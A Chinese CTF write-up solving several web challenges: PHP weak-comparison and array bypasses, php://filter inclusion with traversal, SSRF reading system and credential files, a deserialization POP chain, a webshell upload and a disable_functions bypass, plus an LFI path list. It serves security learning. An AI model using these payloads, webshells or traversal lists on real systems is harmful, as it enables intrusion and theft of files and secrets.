打着玩玩,有些提示不全,处于更新状态
这里是个登录框

优先看源码,是个经典的php弱比较

PHP MD5 比较漏洞知识点
1. PHP 中的比较运算符
==(弱比较):先将字符串转换为数字再比较,如果两个字符串都以0e开头且后面全是数字,则会被解释为科学计数法0,导致比较相等。===(强比较):不进行类型转换,比较值和类型,更安全。2. MD5 函数特性
md5($string)返回 32 位十六进制字符串(默认小写)。md5($array)返回NULL并产生警告(PHP 8 中会抛出异常,但老版本返回 NULL)。3. 常见绕过方法
a) 数组绕过(针对
===和==均有效)当传入数组时,
md5()返回NULL,两个NULL比较相等(NULL === NULL为true,NULL >== NULL也为true)。?username[]=1&password[]=2两个不同的数组,但
md5()都返回NULL,满足md5($_GET['username']) === >md5($_GET['password'])。b) 科学计数法绕过(针对
==)某些字符串的 MD5 值以
0e开头且后面全是数字,如:
240610708→md5=0e462097431906509019562988736854QNKCDZO→md5=0e830400451993494058024219903391s878926199a→md5=0e545993274517709034328855841020当使用
==比较时,两个0e...都被视为0,因此相等。c) MD5 碰撞(针对
===)虽然理论上
md5存在碰撞,但在 CTF 中很少使用。已知的经典碰撞字符串:
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e>%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%>60%fb%5f%07%fe%a2与另一个字符串的 MD5 相同,但需要二进制数据,一般不用于 Web 参数。d) 空值绕过
某些 PHP 版本中,
md5()处理空字符串返回d41d8cd98f00b204e9800998ecf8427e,但无绕过价值。
这里直接?username[]=1&password[]=2绕过,发现进入了一个界面,开始卡我,发现有?file参数,所以这里猜测是文件包含
PHP 伪协议
php://filter知识点1. 什么是
php://filter
php://filter是 PHP 中的一种流包装器,用于在读取或写入数据时应用过滤器。常用于文件包含漏 洞中读取文件源码,尤其是当直接包含会执行 PHP 代码时。
- 基本格式:
php://filter/read=过滤器/resource=文件路径- 简写格式:
php://filter/过滤器/resource=文件路径(省略read=)2. 常用过滤器
convert.base64-encode:将文件内容进行 Base64 编码后输出,常用于读取 PHP 源码而不执>行。php://filter/convert.base64-encode/resource=index.php
convert.base64-decode:解码 Base64 内容后输出,可用于绕过某些过滤。
string.rot13:对内容进行 ROT13 编码。
string.toupper/string.tolower:转换大小写。
convert.iconv.*:字符编码转换,可构造高级过滤器链。3. 利用场景
a) 读取文件源码
当文件被
include()时会执行,但使用php://filter将内容编码后输出,避免执行,直接获取 源码。?file=php://filter/convert.base64-encode/resource=flag.php返回的 Base64 字符串解码后即可看到 flag。
b) 绕过 WAF 或字符过滤
- 使用不同过滤器组合绕过关键字检测。
- 利用
php://filter的resource参数支持目录穿越(如../)读取任意文件。c) 执行任意代码(高级)
通过
php://filter配合php://input或data://可写入并执行代码,但需开启 >allow_url_include。
例如:?file=php://filter/convert.base64-decode/resource=data://text/>plain,PD9waHAgcGhwaW5mbygpOz8+(其中 Base64 解码后为
<?php phpinfo();?>)4. 常见绕过技巧
- 省略
read=:php://filter/convert.base64-encode/resource=...- 大小写混合:
PHP://Filter/...- 多重编码:
php://filter/read=convert.base64-encode|convert.base64-encode/>resource=...- 路径穿越:
php://filter/convert.base64-encode/resource=../../../../flag.php
使用这个直接读取源码http://47.106.102.27:40041/setu.php?file=php://filter/convert.base64-encode/resource=setu


php$str = str_replace("../","",$_GET['file']);
if (strpos($str,'php://filter/convert.base64-encode/resource') !== false) {
include ( $_GET['file'] . '.php'); // 分支1
} else {
include( "/var/www/html/" . $str . '.php' ); // 分支2
}
分支1: 如果输入中包含 php://filter/convert.base64-encode/resource,则直接 include($_GET['file'] . '.php')。
使用原始输入,没有过滤 ../,所以可以读取任意以 .php 结尾的文件。
所以 ?file=php://filter/convert.base64-encode/resource=任意路径 会读取 任意路径.php 并以 base64 显示源码。
分支2: 否则将 $str 拼接到 /var/www/html/ 后,再加 .php 后缀。
str_replace("../","",...) 只替换一次 ../,但可以利用 ..././ 绕过:替换后中间的 ../ 被删除,前后字符重新组成 ../,从而实现目录穿越。
这里tm没有提示,我卡了半天,上网看了看发现最后是flagggg路径
先读取hint
http://47.106.102.27:40041/setu.php?file=php://filter/convert.base64-encode/resource=hint


再读取/answer下的flagggg

这没有提示我上哪里猜去
打开让我登录,写着:这是一个未完成的请求测试小工具demo
首先推测是ssrf
/download/ 接口 POST 提交 url 参数。javascriptfunction mySubmitSearch()
{
$.post(/download/, {"url": $('#url').val()},
function(result){
$('#result').html('<pre><code>'+result+'</code></pre>');
}
)
}
file:// 协议)file:///etc/passwdHacker!,说明后端过滤了字符串 file(小写)。File:///etc/passwd,成功读取系统文件。成功读取 /etc/passwd:
root:x:0:0:root:/root:/bin/bash ... ctf:x:1000:1000::/home/ctf:/bin/sh redis:x:101:102::/var/lib/redis:/usr/sbin/nologin
通过读取 /proc/self/environ 和 /proc/self/cmdline 获取进程信息。
File:///proc/self/environ:
MAIL=/var/mail/ctf USER=ctf HOME=/home/ctf LOGNAME=ctf PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games SHELL=/bin/sh PWD=/app
得知工作目录为 /app。
File:///proc/self/cmdline:
python/app/app.py
主程序为 /app/app.py。
File:///proc/1/cmdline:
/bin/sh/docker-entrypoint
容器入口脚本。
File:///home/ctf/.profile:
Hacker!
干扰信息。
File:///app/app.pyNo source code required!,说明过滤了 app 字符串。app 过滤读取源码使用 /proc/self/cwd/ 符号链接代替 /app,同时对 app.py 中的 a 进行 URL 编码,绕过关键字过滤。
File:///proc/self/cwd/%61pp.py获取源码关键部分:
pythonimport pycurl
from flask import Flask, session, request, redirect, url_for, render_template
from session import Session
from redis import Redis
from io import BytesIO
app = Flask(__name__)
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = Redis(host='127.0.0.1', port=6379, password='secret_pAss_b6f6234c')
app.config['SESSION_USE_SIGNER'] = True
app.config['SECRET_KEY'] = 'app_secccret_keeeey23333'
app.config['SESSION_PERMANENT'] = False
app.config['PERMANENT_SESSION_LIFETIME'] = 3600
Session(app)
@app.route('/')
def index():
if not session.get('username', None):
return redirect(url_for('login'))
return render_template('index.html', username=session.get('username'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
if username.strip():
session['username'] = username
return redirect(url_for('index'))
return redirect(url_for('login'))
if request.method == "GET":
return render_template('login.html')
@app.route('/download/', methods=['POST'])
def download():
if not session.get('username', None):
return redirect(url_for('login'))
if request.method == 'POST':
url = request.form["url"]
if "app" in url:
return "No source code required!"
if "file" in url:
return "Hacker!"
try:
c = pycurl.Curl()
buffer = BytesIO()
c.setopt(pycurl.URL, url)
c.setopt(pycurl.CONNECTTIMEOUT, 5)
c.setopt(pycurl.TIMEOUT, 5)
c.setopt(c.WRITEDATA, buffer)
c.perform()
res = buffer.getvalue()
return res.decode()
except Exception as e:
print(str(e))
return "Error!"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000, debug=False)
app 和 file,未对协议、IP、端口做限制。pycurl.Curl() 支持多种协议,包括 gopher、dict 等。127.0.0.1:6379,密码 secret_pAss_b6f6234c。使用 dict:// 协议测试:
dict://127.0.0.1:6379/
返回 -NOAUTH Authentication required,证明 Redis 需要认证。
构造 gopher 请求发送 AUTH 命令:
gopher://127.0.0.1:6379/_AUTH%20secret_pAss_b6f6234c%0d%0aPING%0d%0a
但是这里gopher协议有问题,不知为何出不来,然后尝试多个文件多个绕过多个协议,全部失败,不知道,
开始使用ai大人发力

pop链构造,这里直接ai跑了下
php<?php
error_reporting(0);
class User{
public $username;
public $password;
public $variable;
public $a;
public function __construct()
{
$this->username = "user";
$this->password = "user";
}
public function __wakeup(){
if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){
echo "wuhu!";
return $this->variable->xxx;
}else{
die("o^o");
}
}
}
class Login{
public $point;
public function __get($key){
$func = $this->point;
return $func();
}
}
class Read{
public $filename;
public function __invoke(){
echo file_get_contents($this->filename.".php");
}
}
if(isset($_GET['x'])){
unserialize($_GET['x']);
}else{
highlight_file(__FILE__);
}
?>
想象你有一个 乐高盒子(PHP 对象),里面装着几块积木(属性/变量)。
serialize() = 把乐高盒子拆成一张 说明书(字符串),方便运输unserialize() = 按照说明书,把盒子 重新拼起来php// 举个栗子
$a = new User();
$a->name = "admin";
$s = serialize($a);
// 得到类似这样的字符串:O:4:"User":1:{s:4:"name";s:5:"admin";}
$b = unserialize($s);
// $b 又变回了一个 User 对象,name 还是 "admin"
本题中:unserialize($_GET['x']) 就是让你传一个「说明书字符串」,服务器帮你拼成对象。
魔术方法 = 特定时机自动触发 的函数,名字以 __ 开头。
本题涉及三个:
| 魔术方法 | 什么时候自动执行? | 人话解释 |
|---|---|---|
__wakeup() | unserialize() 执行时 | 盒子刚拼好,自动喊一声「我醒了」 |
__get($key) | 访问 不存在 的属性时 | 你想拿一个盒子里没有的东西,它自动拦下你 |
__invoke() | 把 对象当成函数 调用时 | 你把这个盒子当电话打,它自动接听 |
POP = Property Oriented Programming(面向属性编程)
说人话:通过控制对象里的属性值,像多米诺骨牌一样,让一个魔术方法触发下一个魔术方法,最终执行危险操作。
核心思路:从终点倒推!
代码里有三个类,我们一个一个看:
phpclass User{
public $username;
public $password;
public $variable;
public $a;
public function __wakeup(){
if( ($this->username != $this->password)
&& (md5($this->username) === md5($this->password))
&& (sha1($this->username)=== sha1($this->password)) ){
echo "wuhu!";
return $this->variable->xxx; // ← 关键!访问 xxx 属性
}else{
die("o^o");
}
}
}
关键点:
__wakeup() 在反序列化时 自动执行$this->variable->xxx问题:xxx 这个属性在 User 类里 根本没有定义!
但 PHP 不会报错,它会尝试访问 $this->variable 这个对象里的 xxx 属性。
phpclass Login{
public $point;
public function __get($key){
$func = $this->point;
return $func(); // ← 把 $this->point 当函数执行!
}
}
关键点:
__get($key) 在访问 不存在属性 时触发User 里的 $this->variable 是一个 Login 对象->xxx 就会触发 Login::__get("xxx")$func(),也就是把 $this->point 当函数调用phpclass Read{
public $filename;
public function __invoke(){
echo file_get_contents($this->filename.".php");
}
}
关键点:
__invoke() 在 对象被当成函数调用 时触发Login 的 $this->point 是一个 Read 对象$func() 就会触发 Read::__invoke()file_get_contents($this->filename.".php") —— 任意文件读取!我们从 终点倒推,这是分析反序列化题目的标准思路:
终点目标:file_get_contents("flag.php") ↑ 要触发 __invoke(),需要把对象当函数调用:$obj() ↑ 在 Login::__get() 里执行了 $func(),而 $func = $this->point 所以让 $this->point = new Read() 对象 ↑ 要触发 __get(),需要访问不存在的属性:$obj->xxx ↑ 在 User::__wakeup() 里执行了 $this->variable->xxx 所以让 $this->variable = new Login() 对象 ↑ 要触发 __wakeup(),需要执行 unserialize() ↑ 题目已经给了:unserialize($_GET['x'])
正着看攻击流程:
你传入 Payload → unserialize() → 触发 User::__wakeup() → 校验通过,执行 $this->variable->xxx → $this->variable 是 Login 对象,xxx 不存在 → 触发 Login::__get("xxx") → 执行 $this->point() → $this->point 是 Read 对象 → 触发 Read::__invoke() → file_get_contents("flag.php") ✅
对象关系图:
User 对象 ├── username = [0] ← 数组,用于绕过哈希 ├── password = [1] ← 数组,用于绕过哈希 ├── variable = Login 对象 ← 关键连接点 │ └── point = Read 对象 ← 关键连接点 │ └── filename = "flag" ← 要读的文件 └── a = null
php($this->username != $this->password) // ① 值不相等
&& (md5($this->username) === md5($this->password)) // ② MD5 严格相等
&& (sha1($this->username)=== sha1($this->password)) // ③ SHA1 严格相等
=== 是 严格比较,值和类型都要一样在 PHP 里:
phpmd5([0]) → 返回 NULL(并发出警告,但题目 error_reporting(0) 屏蔽了警告)
md5([1]) → 返回 NULL
sha1([0]) → 返回 NULL
sha1([1]) → 返回 NULL
所以:
md5([0]) === md5([1]) → NULL === NULL → true ✅sha1([0]) === sha1([1]) → NULL === NULL → true ✅[0] != [1] → 两个不同数组 → true ✅三关全过!
💡 笔记重点:
md5()和sha1()遇到 数组 参数时返回NULL。题目开头有error_reporting(0)屏蔽了报错,所以不会报错直接返回 NULL。
Payload 就是一个 序列化后的字符串,描述了上面那个对象关系图。
PHP 序列化语法规则:
O:4:"User":4:{...} = 对象,类名长度 4,类名 "User",4 个属性s:8:"username" = 字符串,长度 8,名字 "username"a:1:{i:0;i:0;} = 数组,1 个元素,索引 0,值 0N; = nullphpO:4:"User":4:{
s:8:"username";a:1:{i:0;i:0;} // username = [0]
s:8:"password";a:1:{i:0;i:1;} // password = [1]
s:8:"variable";O:5:"Login":1:{ // variable = Login 对象
s:5:"point";O:4:"Read":1:{ // point = Read 对象
s:8:"filename";s:4:"flag"; // filename = "flag"
}
}
s:1:"a";N; // a = null
}
去掉换行,连成一行:
O:4:"User":4:{s:8:"username";a:1:{i:0;i:0;}s:8:"password";a:1:{i:0;i:1;}s:8:"variable";O:5:"Login":1:{s:5:"point";O:4:"Read":1:{s:8:"filename";s:4:"flag";}}s:1:"a";N;}
http://47.106.102.27:40050/?x=O:4:"User":4:{s:8:"username";a:1:{i:0;i:0;}s:8:"password";a:1:{i:0;i:1;}s:8:"variable";O:5:"Login":1:{s:5:"point";O:4:"Read":1:{s:8:"filename";s:4:"flag";}}s:1:"a";N;}
$_GET['x'] 拿到你的 Payload 字符串unserialize() 把它还原成对象User::__wakeup()username=[0], password=[1],三个条件全满足,输出 wuhu!$this->variable->xxxvariable 是 Login 对象,xxx 不存在 → 触发 Login::__get()__get() 里执行 $this->point(),point 是 Read 对象 → 触发 Read::__invoke()file_get_contents("flag.php") 读取文件并输出
wuhu!DataCon{y0u_c4n_re3lly_l0g1N!}
__invoke 里的 file_get_contents)__wakeup)| 考点 | 内容 |
|---|---|
| POP 链 | User → Login → Read |
| 魔术方法链 | __wakeup → __get → __invoke |
| 哈希绕过 | 数组传进 md5()/sha1() 返回 NULL |
| 文件读取 | file_get_contents($filename.".php") |
反序列化题目 = 找入口魔术方法 + 倒推调用链 + 绕过中间条件 + 构造序列化字符串
这道题是 THUCTF2021 的经典 PHP 多层绕过题,从弱类型、伪协议、语言特性到内存漏洞,层层递进。下面是每一关的完整源码分析、绕过原理和 payload 拆解。
php<?php
error_reporting(0);
highlight_file(__FILE__);
$var1 = $_GET['var1'] ?: '';
$var2 = $_GET['var2'] ?: '';
$var3 = $_GET['var3'] ?: '';
$var4 = $_GET['var4'] ?: '';
$var5 = $_GET['var5'] ?: '';
$var6 = $_GET['var6'] ?: '';
$var7 = $_GET['var7'] ?: '';
$var8 = $_GET['var8'] ?: '';
$var9 = $_GET['var9'] ?: '';
if ($var1 != $var2 && sha1($var1) === sha1($var2)) {
if (!is_numeric($var3) && in_array($var3, array(1))) {
if (file_get_contents($var4) === "Welcome to THUCTF2021!") {
if (isset($_GET['thuctf_is.fun'])) {
if ($var5 != 2333 && intval($var5, 0) === 2333) {
$t = is_numeric($var6) and is_numeric($var7) !== "THUCTF2021";
if ($t && $var7 === "THUCTF2021") {
if (!stristr($var8, "..") && !preg_match("/<\?|eval|system|assert|call|preg|create|sort|exec|php/i", $var9)) {
file_put_contents("uploads/$var8", $var9);
} else {
die("level 7 fail!");
}
} else {
die("level 6 fail!");
}
} else {
die("level 5 fail!");
}
} else {
die("level 4 fail!");
}
} else {
die("level 3 fail!");
}
} else {
die("level 2 fail!");
}
} else {
die("level 1 fail!");
}
phpif ($var1 != $var2 && sha1($var1) === sha1($var2))
$var1 != $var2:两个值不相等(松散比较)sha1($var1) === sha1($var2):两个值的 sha1 哈希严格相等PHP 的 sha1() 函数期望传入字符串。如果传入数组,PHP 会:
Warning: sha1() expects parameter 1 to be string, array givenNULL由于开头有 error_reporting(0),Warning 被屏蔽,页面不会报错。
因此,传入两个不同的数组,sha1() 对二者都返回 NULL。NULL === NULL 为 true,且两个数组本身不相等。
?var1[]=1&var2[]=2
phpif (!is_numeric($var3) && in_array($var3, array(1)))
!is_numeric($var3):$var3 不能是纯数字字符串in_array($var3, array(1)):$var3 要在数组 [1] 中in_array() 的第三个参数 $strict 默认为 false,即使用松散比较(==)。
PHP 的松散比较规则:"1abc" == 1 为 true。因为当字符串与整数比较时,PHP 会提取字符串开头的数字部分,"1abc" 被转换为整数 1。
所以 "1a" 不是 numeric(is_numeric("1a") 返回 false),但 "1a" == 1 为 true。
?var3=1a
(也可以是 1abc、1; 等)
phpif (file_get_contents($var4) === "Welcome to THUCTF2021!")
file_get_contents($var4) 的返回值必须严格等于字符串 "Welcome to THUCTF2021!"
file_get_contents() 支持 PHP 的封装协议(Stream Wrappers),其中 data:// 协议允许直接内嵌数据。
格式:
data://text/plain,明文内容 data://text/plain;base64,base64编码内容
使用 base64 可以避免 URL 中空格和特殊字符的编码问题。
目标字符串 "Welcome to THUCTF2021!" 的 base64:
V2VsY29tZSB0byBUSFVDVEYyMDIxIQ==
?var4=data://text/plain;base64,V2VsY29tZSB0byBUSFVDVEYyMDIxIQ==
phpif (isset($_GET['thuctf_is.fun']))
URL 参数名中的 .(点号)在 PHP 中会被自动替换为 _(下划线)。
例如:
?thuctf_is.fun=1
PHP 解析后变成 $_GET['thuctf_is_fun'],所以 isset($_GET['thuctf_is.fun']) 永远为 false。
PHP 在处理参数名时,如果检测到 [(左方括号),会将第一个 [ 替换为 _,但保留该位置之后的所有原始字符(包括 .)。
所以构造参数名:
?thuctf[is.fun=1
PHP 解析过程:
thuctf[,将 [ 替换为 _ → 得到 thuctf_is.fun 原样保留thuctf_is.fun ✅?thuctf[is.fun=1
phpif ($var5 != 2333 && intval($var5, 0) === 2333)
$var5 != 2333:松散比较不相等intval($var5, 0) === 2333:intval 返回值严格等于 2333intval($var, $base) 当 $base = 0 时,会根据字符串前缀自动识别进制:
0x 开头 → 十六进制0 开头 → 八进制十六进制方案:
0x91d(十六进制)= 十进制 2333intval("0x91d", 0) 返回 2333"0x91d" != 2333 为 true(字符串转数字时,"0x91d" 在松散比较中会被当作 0 处理,因为 PHP 的自动类型转换不识别 0x 前缀)八进制方案:
04435(八进制)= 十进制 2333intval("04435", 0) 返回 2333"04435" != 2333 为 true(字符串 "04435" 转数字为 4435,4435 != 2333)?var5=0x91d
或
?var5=04435
php$t = is_numeric($var6) and is_numeric($var7) !== "THUCTF2021";
if ($t && $var7 === "THUCTF2021")
$t 必须为 true$var7 === "THUCTF2021":严格等于字符串这是 PHP 的运算符优先级陷阱:
| 优先级 | 运算符 |
|---|---|
| 高 | =(赋值) |
| 低 | and |
所以代码实际执行的是:
php($t = is_numeric($var6)) and (is_numeric($var7) !== "THUCTF2021");
and 的优先级低于 =,因此:
$t = is_numeric($var6),将 $t 赋值为 is_numeric($var6) 的结果and 右边的表达式,但不影响 $t 的值只要 $var6 是数字字符串(如 "1"),$t 就是 true。and 右边的表达式无论是什么,都不会改变 $t。
?var6=1&var7=THUCTF2021
phpif (!stristr($var8, "..") && !preg_match("/<\?|eval|system|assert|call|preg|create|sort|exec|php/i", $var9)) {
file_put_contents("uploads/$var8", $var9);
}
$var8 不能包含 ..$var9 不能匹配正则(过滤了 <?、eval、system、php 等)$var9 的内容写入 uploads/$var8第一重:preg_match 对数组返回 false
preg_match() 的参数期望是字符串。如果传入数组:
false!preg_match(...) 当 preg_match 返回 false 时,!false 为 true,成功绕过。
第二重:file_put_contents 支持数组
file_put_contents($filename, $data) 的 $data 可以是数组。传入数组时,PHP 会将数组元素按顺序连接成字符串写入文件。
?var8=shell.php&var9[]=<?php @eval($_POST[1]);?>
写入后访问 http://47.106.102.27:40051/uploads/shell.php,得到一句话木马。
通过 phpinfo() 或蚁剑自带功能查看:
set_time_limit, ini_set, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, system, exec, shell_exec, passthru, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source蚁剑的虚拟终端默认调用 system() 或 exec() 等函数执行命令,但这些全被禁了,返回 ret=127(命令找不到/无法执行)。
可以看到能禁的都禁了,你直接执行是不可以的,这里使用插件绕过

PHP 7.x 的垃圾回收(Garbage Collection)机制存在 Use-After-Free (UAF) 漏洞。利用步骤:
zend_string)system() 等函数的调用,绕过 disable_functions 的限制蚁剑自带 「绕过 disable_functions」 插件,选择 PHP7 GC UAF 模式,会自动上传利用脚本并建立新的虚拟终端。


http://47.106.102.27:40051/?var1[]=1&var2[]=2&var3=1a&var4=data://text/plain;base64,V2VsY29tZSB0byBUSFVDVEYyMDIxIQ==&thuctf[is.fun=1&var5=0x91d&var6=1&var7=THUCTF2021&var8=shell.php&var9[]=<?php @eval($_POST[1]);?>
| 参数 | 作用 |
|---|---|
var1[]=1&var2[]=2 | sha1 数组碰撞 |
var3=1a | in_array 弱类型 |
var4=data://... | 伪协议读指定字符串 |
thuctf[is.fun=1 | PHP7 参数名解析特性 |
var5=0x91d | intval 十六进制识别 |
var6=1&var7=THUCTF2021 | 运算符优先级陷阱 |
var8=shell.php&var9[]= | 数组绕过正则,写入 webshell |
进来的页面上是这个

这是一个文件包含
抓包然后改包发现,可以读取index.php

尝试常见路径,获得flag,这里就是猜测flag路径费了点时间

附:flag常见位置
提示
| 路径 | 说明 |
|---|---|
/flag | CTF 中最常见的 flag 文件 |
/flag.txt | 纯文本 flag |
/flag.php | PHP 形式的 flag 文件 |
/key | 可能存放密钥或 flag |
/secret | 通用秘密文件 |
/root/flag | root 用户目录下的 flag |
/root/flag.txt | 纯文本形式 |
/etc/flag | 系统配置目录下的 flag |
/etc/passwd | 可读取验证 LFI(已确认可读) |
/etc/shadow | 可能包含用户密码(但权限限制) |
/tmp/flag | 临时目录中的 flag |
/var/flag | 常见存放位置 |
/var/www/flag | Web 根目录父级 |
/home/ctf/flag | CTF 用户主目录 |
/home/*/flag | 各用户主目录下的 flag |
| 路径 | 说明 |
|---|---|
../flag.php | 相对于当前 data/ 目录的上级目录(Web 根目录) |
../flag.txt | 文本形式 |
../flag | 无扩展名 |
../config.php | 配置文件,常含数据库密码和 flag |
../secret.php | 秘密文件 |
../admin.php | 管理员文件 |
../db.php | 数据库连接文件 |
../database.php | 同上 |
../include.php | 包含文件 |
../settings.php | 设置文件 |
../../../../var/www/html/flag.php | 绝对路径形式 |
../../../../var/www/html/flag.txt | 文本形式 |
../../../../var/www/html/config.php | 配置文件 |
有时 flag 直接存储在环境变量中,可通过读取 /proc 文件获取:
id=../../../../proc/self/environ id=../../../../proc/1/environ id=../../../../proc/self/cmdline id=../../../../proc/self/status
id=../../../../proc/self/cwd/flag.php id=../../../../proc/self/cwd/flag.txt id=../../../../proc/self/cwd/config.php
/proc/self/cwd 指向当前工作目录(通常是 Web 根目录),可以避免猜测路径。
id=../../../../etc/apache2/apache2.conf id=../../../../etc/apache2/sites-available/000-default.conf
从中可以获取 Web 根目录具体路径,进一步精准读取。
id=../../../../etc/nginx/nginx.conf id=../../../../etc/nginx/sites-available/default
有时 flag 写在注释或备份文件中:
id=../.index.php.swp id=../index.php.bak id=../index.php~ id=../.flag.php.swp id=../www.zip id=../backup.zip